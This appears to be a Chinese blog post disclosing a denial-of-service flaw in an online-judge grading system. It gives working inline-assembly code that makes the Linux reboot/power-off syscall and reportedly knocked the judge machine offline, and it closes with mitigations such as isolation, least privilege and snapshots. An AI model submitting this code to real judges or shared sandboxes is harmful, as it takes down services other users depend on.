本帖所包含的内容仅限技术交流和学习研究使用,禁止用于其他用途!因使用不当造成的一切后果与本人无关!

今天刚刚测试发现某OJ系统存在恶意代码执行漏洞,鉴于其危害性,本人将在管理员修复漏洞后公开细节。

  • 目标:某OJ评测系统评测机
  • 目的:卡死评测机或瘫痪整个服务器
  • 严重性:紧急

0x01:试探

由于OJ都设置了TLE时间,因此试图通过死循环之类程序中的时间占用卡死评测机是不可能的,但是编译时间一般没有限制,因此我们先从编译入手,来尝试

1
#include <con>

这个常见的坑爹代码。
很不幸,结果CE了,File not find,看来管理员对这个还是有一定了解,提前删掉了这个文件。
然后就是常见的文件操作,更不幸,作者在此项目的开源wiki上已经说明

一切企图读入服务器上其他文件的请求将被评测系统拒绝

那我就不费那个功夫了……

0x02:BUG出现

原本打算通过写一大堆模板增加编译时间,不过考虑到有提交大小限制也没什么可能实现,那么我们可不可以通过执行恶意代码来干掉评测机呢?
C/C++中有一个比较少用的特性,就是可以使用asm关键字直接在程序中插入汇编代码,刚好之前看逆向的时候看到过一个有趣的Linux汇编断电代码,扔到这里来试试。

1
2
3
4
5
6
7
8
9
10
int main(){
__asm{
mov 0x4321fedc,edx
mov 0x5121996,ecx
mov 0xfee1dead,ebx
mov 0x58,eax
int 0x80
}
return 0;
}

提交!蛤?CE了??唔……这不科学啊,就算被屏蔽掉也不会是CE啊……错误信息:

1
error: expected '(' before '{' token __asm{

这个似乎表明g++并不支持这个关键字……好吧,VS用多了……我改!

1
2
3
4
5
6
7
8
int main(){
__asm__("movl $0x4321FEDC,%edx");
__asm__("movl $85072278,%ecx");
__asm__("movl $0xfee1dead,%ebx");
__asm__("movl $88,%eax");
__asm__("int $0x80");
return 0;
}

提交!哈!成功地把OJ卡到了【正在评测】状态,看来评测机已经被断电了吧O(∩_∩)O
这个OJ还没有并行处理,不一会儿就刷出了一片等待评测……
至此成功将评测机断电~

0x03:解决方法

  1. 评测机一定要和web隔离,这样出了事情也好通告
  2. 敏感关键词提交时就要进行过滤,确保大部分恶意代码不会混进去
  3. 评测环境的权限设置要规范,最好只给编译的程序最小运行权限
  4. 编译环境隔离是最好的解决办法,整个虚拟机,到时候真出事了直接恢复快照